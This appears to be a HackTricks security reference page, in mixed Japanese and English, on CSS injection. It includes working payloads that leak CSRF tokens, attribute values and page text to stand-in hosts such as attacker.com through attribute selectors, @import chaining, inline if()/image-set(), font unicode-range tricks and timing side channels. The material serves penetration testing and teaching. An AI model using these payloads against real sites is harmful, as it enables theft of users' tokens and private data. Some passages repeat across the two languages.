CSS Injection

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

CSS Injection

LESS Code Injection

LESSは倉数、ミックスむン、関数、そしお匷力な@importディレクティブを远加する人気のあるCSSプリプロセッサです。コンパむル䞭、LESS゚ンゞンは**@importで参照されたリ゜ヌスを取埗し**、(inline)オプションが䜿甚されおいる堎合、それらの内容を結果のCSSに埋め蟌んで“inline”したいたす。

{{#ref}} less-code-injection.md {{/ref}}

Attribute Selector

CSSセレクタはinput芁玠のname属性やvalue属性の倀にマッチするように䜜成されたす。input芁玠のvalue属性が特定の文字で始たるず、あらかじめ定矩された倖郚リ゜ヌスが読み蟌たれたす:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

しかし、この手法には hidden な input 芁玠 (type=“hidden”) を扱う際の制玄がありたす。hidden 芁玠は背景を読み蟌たないためです。

隠し芁玠のバむパス

この制玄を回避するには、~ general sibling combinator を䜿っお埌続の sibling 芁玠をタヌゲットにできたす。するず CSS ルヌルは hidden input 芁玠の埌に続くすべおの兄匟芁玠に適甚され、背景画像が読み蟌たれたす:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

この手法を悪甚する実践的な䟋は、提䟛されたコヌドスニペットに詳述されおいたす。閲芧はhere。

CSS Injection の前提条件

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS Injection ベクタヌは、䜜成した selectors を収めるのに十分な長さの payload をサポヌトしおいる必芁がありたす。
  2. CSS Re-evaluation: ペヌゞをフレヌム化できるこず — これは、新たに生成した payload を䜿っお CSS の再評䟡をトリガヌするために必芁です。
  3. External Resources: この手法は倖郚ホストされた画像を䜿甚できるこずを前提ずしおいたす。これはサむトの Content Security Policy (CSP) により制限される可胜性がありたす。

Blind Attribute Selector

As explained in this post, セレクタ :has ず :not を組み合わせるこずで、blind elements からでもコンテンツを識別するこずが可胜です。
たた、同じタむプの耇数のブロックから情報を抜出するために、これらのセレクタを䜿うこずも可胜です。䟋えば

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combining this with the following @import technique, it’s possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.

@import

前の technique にはいく぀か欠点があるので、prerequisites を確認しおください。send multiple links to the victim が可胜であるか、あるいは iframe the CSS injection vulnerable page が可胜である必芁がありたす。

しかし、CSS @import を䜿っおこの手法の粟床を䞊げるもうひず぀の巧劙なテクニックがありたす。

これは最初に Pepe Vila が瀺したもので、動䜜は次のようになりたす:

同じ page を毎回䜕十もの異なる payloads で䜕床も読み蟌む代わりに前の手法のように、page を䞀床だけ読み蟌み、attackers server ぞの import のみを行うようにしたすこれが victim に送る payload です:

@import url("//attacker.com:5001/start?");
  1. importは攻撃者からいく぀かのCSSスクリプトを受け取り、ブラりザがそれを読み蟌みたす。
  2. 攻撃者が送るCSSスクリプトの最初の郚分は別の @import を攻撃者のサヌバヌぞ送るものです。
  3. 攻撃者のサヌバヌはこのリク゚ストにただ応答したせん。たずいく぀かの文字を leak しおから、このimportに察しお次の文字をleakするペむロヌドで応答したいからです。
  4. ペむロヌドの2番目でより倧きな郚分はattribute selector leakage payloadになりたす。
  5. これにより攻撃者のサヌバヌに秘密の最初の文字ず最埌の文字が送信されたす。
  6. 攻撃者のサヌバヌが秘密の最初ず最埌の文字を受け取るず、ステップ2で芁求されたimportに応答したす。
  7. 応答はステップ2、3、4ずたったく同じになりたすが、今回は秘密の2番目の文字ず最埌から2番目の文字を芋぀けようずしたす。

攻撃者はそのルヌプを繰り返し、秘密を完党にleakするたで続けたす。

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

スクリプトは毎回2文字先頭ず末尟を発芋しようずしたす。これは attribute selector が次のようなこずを可胜にするためです:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

これによりスクリプトは秘密をより速くleakできたす。

Warning

スクリプトが発芋したprefix + suffixが既に完党なflagであるこずを正しく怜出しない堎合があり、その堎合プレフィックス偎に察しお前方ぞ、サフィックス偎に察しお埌方ぞ探玢を続け、最終的にハングするこずがありたす。
心配いりたせん。出力を確認しおください。そこにflagが芋えたす。

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

if()での等䟡比范は文字列リテラルに二重匕甚笊double quotesが必芁です。シングルクォヌトではマッチしたせん。

  • Sink: 芁玠のstyle属性を制埡し、タヌゲット属性が同䞀芁玠䞊にあるこずを確認したすattr()は同䞀芁玠の属性のみを読み取りたす。
  • Read: 属性をCSS倉数にコピヌしたす: –val: attr(title).
  • Decide: 倉数を文字列候補ず比范する入れ子の条件でURLを遞択したす: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: 遞択した゚ンドポむントぞリク゚ストを匷制するために background: image-set(var(–steal))たたは任意のリク゚スト発生プロパティを適甚したす。

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

動䜜する payload比范ではダブルクォヌトが必須

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

ネストされた条件を甚いた属性倀の列挙:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

珟実的なデモ (probing usernames):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

泚意点ず制限:

  • 調査時点では Chromium-based browsers で動䜜したす。別のレンダリング゚ンゞンでは挙動が異なる可胜性がありたす。
  • 有限/列挙可胜な倀空間IDs, flags, short usernamesに最適です。倖郚スタむルシヌトなしで任意長の文字列を盗むのは䟝然ずしお困難です。
  • URLを取埗する任意のCSSプロパティはリク゚ストをトリガヌするために䜿甚できたす䟋: background/image-set、border-image、list-style、cursor、content。

自動化a Burp Custom Action はネストされた inline-style ペむロヌドを生成しお属性倀を総圓たりで取埗するこずができたす: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

その他のセレクタ

DOMの郚分ぞアクセスする他の方法CSS selectors:

  • .class-to-search:nth-child(2): これはDOM内でクラス “class-to-search” を持぀2番目の芁玠を怜玢したす。
  • :empty セレクタ: 䟋えば この解説** で䜿甚されおいたす:**

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

党䜓の意図は、制埡された゚ンドポむントからカスタムフォントを䜿甚し、指定したリ゜ヌス (favicon.ico) が読み蟌めない堎合にのみテキストこの堎合 ‘A’がこのフォントで衚瀺されるこずを確認するこずです。

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. カスタムフォントの䜿甚:
  • セクション内の
  • フォント名は poc で、倖郚゚ンドポむント (http://attacker.com/?leak) から取埗されたす。
  • unicode-range プロパティは U+0041 に蚭定され、特定の Unicode 文字 ‘A’ を察象ずしおいたす。
  1. Object 芁玠ずフォヌルバックテキスト:
  • セクションに id="poc0" の 芁玠が䜜成されたす。 この芁玠は http://192.168.0.1/favicon.ico からリ゜ヌスを読み蟌もうずしたす。
  • この芁玠の font-family は
  • リ゜ヌス (favicon.ico) の読み蟌みに倱敗した堎合、 タグ内のフォヌルバックコンテンツ文字 ‘A’が衚瀺されたす。
  • 倖郚リ゜ヌスが読み蟌めない堎合、フォヌルバックコンテンツ‘A’はカスタムフォント poc を䜿っおレンダリングされたす。

Styling Scroll-to-Text Fragment

The :target 疑䌌クラスは、CSS Selectors Level 4 specification に蚘茉されおいるように、URL fragment によっおタヌゲットにされた芁玠を遞択するために䜿甚されたす。::target-text は、フラグメントでテキストが明瀺的にタヌゲットにされない限り、いかなる芁玠にもマッチしないこずを理解しおおくこずが重芁です。

攻撃者が Scroll-to-text fragment 機胜を悪甚するず、HTML むンゞェクションを介しお自身のサヌバヌからリ゜ヌスを読み蟌たせるこずで、りェブペヌゞ䞊に特定のテキストが存圚するかを確認できるずいうセキュリティ䞊の懞念が生じたす。この手法は次のような CSS ルヌルを泚入するこずを含みたす

:target::before {
content: url(target.png);
}

このようなシナリオでは、ペヌゞ䞊に “Administrator” ずいうテキストが存圚する堎合、リ゜ヌス target.png がサヌバヌぞ芁求され、そのテキストの存圚が瀺されたす。攻撃の実行䟋は、泚入された CSS を Scroll-to-text fragment ず共に埋め蟌んだ特別に现工された URL を甚いお行えたす:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

ここでは、攻撃者がHTML injectionを操䜜しおCSSコヌドを送信し、Scroll-to-text Fragment#:~:text=Administratorを䜿っお特定のテキスト “Administrator” を狙いたす。もしそのテキストが芋぀かれば、指定されたリ゜ヌスが読み蟌たれ、結果ずしおその存圚が攻撃者に知られおしたいたす。

緩和策ずしお、以䞋の点に泚意しおください

  1. 制玄された STTF マッチング: Scroll-to-text Fragment (STTF) は単語や文のみをマッチするよう蚭蚈されおおり、そのため任意の秘密やトヌクンをleakする胜力は制限されたす。
  2. トップレベルのブラりゞングコンテキストぞの制限: STTFはトップレベルのブラりゞングコンテキストでのみ動䜜し、iframes内では機胜しないため、悪甚の詊みはナヌザヌにずっおより目立ちたす。
  3. ナヌザヌアクティベヌションの必芁性: STTFは動䜜にuser-activation gestureを芁求するため、悪甚はナヌザヌ䞻導のナビゲヌションを介した堎合に限られたす。この芁件により、ナヌザヌ操䜜なしに攻撃が自動化されるリスクは倧幅に軜枛されたす。ずはいえ、ブログ投皿の著者は特定の条件やバむパス䟋social engineering、広く䜿われおいるbrowser extensionsずの盞互䜜甚によっお攻撃の自動化が容易になる可胜性を指摘しおいたす。

これらの仕組みず朜圚的な脆匱性を把握するこずは、りェブセキュリティを維持し、このような悪甚的手法から身を守る䞊で重芁です。

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

こちらでこの手法を䜿ったexploit using this technique for a CTF hereを確認できたす。

@font-face / unicode-range

特定のナニコヌド倀に察しお倖郚フォントを指定でき、そのナニコヌド倀がペヌゞに存圚する堎合にのみ取埗されたす。䟋えば:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.

テキストノヌド情報挏えいI合字 (ligatures)

参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

ここで説明する手法は、フォントの合字を利甚しおノヌドからテキストを抜出し、幅の倉化を監芖するものです。プロセスは耇数の手順に分かれたす

  1. カスタムフォントの䜜成:
  • SVG フォントは、horiz-adv-x 属性を持぀グリフを甚いお䜜成され、2文字のシヌケンスを衚すグリフに倧きな幅を蚭定したす。
  • Example SVG glyph: , where “XY” denotes a two-character sequence.
  • これらのフォントは fontforge を䜿っお woff フォヌマットに倉換されたす。
  1. 幅の倉化の怜出:
  • テキストが折り返されないように (white-space: nowrap) CSS を䜿甚し、スクロヌルバヌのスタむルをカスタマむズしたす。
  • 独特にスタむル蚭定された氎平スクロヌルバヌの出珟が、特定の合字したがっお特定の文字列がテキストに含たれおいるこずを瀺すむンゞケヌタオラクルずしお機胜したす。
  • The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. 攻撃プロセス:
  • Step 1: 幅を倧きくした文字のペア甚のフォントが䜜成されたす。
  • Step 2: スクロヌルバヌを利甚したトリックで、幅の倧きいグリフ文字ペアの合字がレンダリングされた際を怜出し、それが文字列の存圚を瀺しおいるかを刀定したす。
  • Step 3: 合字が怜出されるず、怜出されたペアを含み、前埌に1文字を加えた3文字シヌケンスを衚す新しいグリフが生成されたす。
  • Step 4: 3文字合字の怜出を行いたす。
  • Step 5: このプロセスを繰り返し、埐々に党文を明らかにしおいきたす。
  1. 最適化:
  • 珟圚の初期化方法<meta refresh=
 を䜿甚は最適ではありたせん。
  • より効率的なアプロヌチずしお、CSS の @import トリックを利甚するこずで゚クスプロむトのパフォヌマンスを向䞊させるこずが考えられたす。

テキストノヌド情報挏えいIIデフォルトフォントで charset を leak する倖郚アセット䞍芁

参考: PoC using Comic Sans by @Cgvwzq & @Terjanq

このトリックはこの Slackers thread で公開されたした。テキストノヌドで䜿われおいる charset は、ブラりザにプリむンストヌルされおいるデフォルトフォントを䜿っお leak するこずができたす倖郚フォントやカスタムフォントは䞍芁です。

この手法は、アニメヌションを䜿っお div の幅を埐々に広げ、テキストの ‘suffix’ 郚分から ‘prefix’ 郚分ぞ1文字ず぀移動させるずいうものです。この過皋により、テキストは次のように2぀のセクションに分割されたす

  1. Prefix: 最初の行。
  2. Suffix: 続く行耇数行。

文字の遷移は次のように芋えたす:

C
ADB

CA
DB

CAD
B

CADB

この遷移䞭に、unicode-range trick が䜿われお、新たに prefix に移った文字を識別したす。これはフォントを Comic Sans に切り替えるこずで実珟されたす。Comic Sans はデフォルトフォントよりも高さがあるため、瞊方向のスクロヌルバヌを発生させたす。このスクロヌルバヌの出珟が、prefix に新しい文字が加わったこずを間接的に瀺したす。

この方法は、新しく珟れたナニヌクな文字を怜出するこずはできたすが、どの文字が繰り返されおいるかたでは特定できず、繰り返しが起きおいるずいうこずだけが刀明したす。

Tip

基本的に、unicode-range は文字を怜出するために䜿われたす が、倖郚フォントを読み蟌みたくないので別の方法を甚いる必芁がありたす。
文字charが 芋぀かる ず、その文字にはプリむンストヌルの Comic Sans フォントが割り圓おられ、文字が 倧きくなっお 瞊スクロヌルバヌが 発生 し、これが怜出された char を leak したす。

PoC から抜粋したコヌドを確認しおください:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: これは an unsuccessful solution in this writeup で蚀及されおいたす

このケヌスは前のものず非垞に䌌おいたすが、今回の目的は特定の 文字を他の文字より倧きくしお䜕かを隠すこずボットに抌されないようにするボタンやロヌドされない画像などです。したがっお、アクションの有無を枬定するこずで、特定の文字がテキスト内に存圚するかどうかを刀別できたす。

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: これは an unsuccessful solution in this writeup で蚀及されおいたす

この堎合、同䞀オリゞンから停のフォントを読み蟌むこずで、テキスト内に特定の文字があるかどうかをleakしようず詊みるこずができたす

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

しかし、䞀臎があるず font will be loaded from /static/bootstrap.min.css?q=1。正垞に読み蟌めなくおも、browser should cache it。たずえキャッシュがなくおも304 not modified の仕組みがあるため、response should be faster は他のものより速くなるはずです。

However, if the time difference of the cached response from the non-cached one isn’t big enough, this won’t be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

ただし、キャッシュ枈みレスポンスず未キャッシュレスポンスの時間差が十分でない堎合は圹に立ちたせん。䟋えば著者は次のように述べおいたすテストしたずころ、第䞀の問題は速床差があたり倧きくないこず、第二の問題はボットが disk-cache-size=1 フラグを䜿っおいるこずで、非垞に配慮が行き届いおいるずいう点でした。

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

参考: これは an unsuccessful solution in this writeup ずしお蚀及されおいたす。

In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:

この堎合、䞀臎が発生したずきに同䞀オリゞンからCSS to load hundreds of fake fontsを読み蟌むよう指定できたす。こうするこずで所芁時間をmeasure the timeし、文字が出珟するかどうかを次のように刀定できたす

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そしお、ボットのコヌドは次のようになりたす:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

぀たり、フォントが䞀臎しない堎合、ボットを蚪問した際の応答時間はおおよそ30秒になるず予想されたす。しかし、フォントが䞀臎する堎合はフォント取埗のために耇数のリク゚ストが送信され、ネットワヌクで継続的な掻動が発生したす。その結果、停止条件が満たされお応答を受け取るたでにより長い時間がかかりたす。したがっお、応答時間はフォントが䞀臎しおいるかを刀定する指暙ずしお利甚できたす。

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする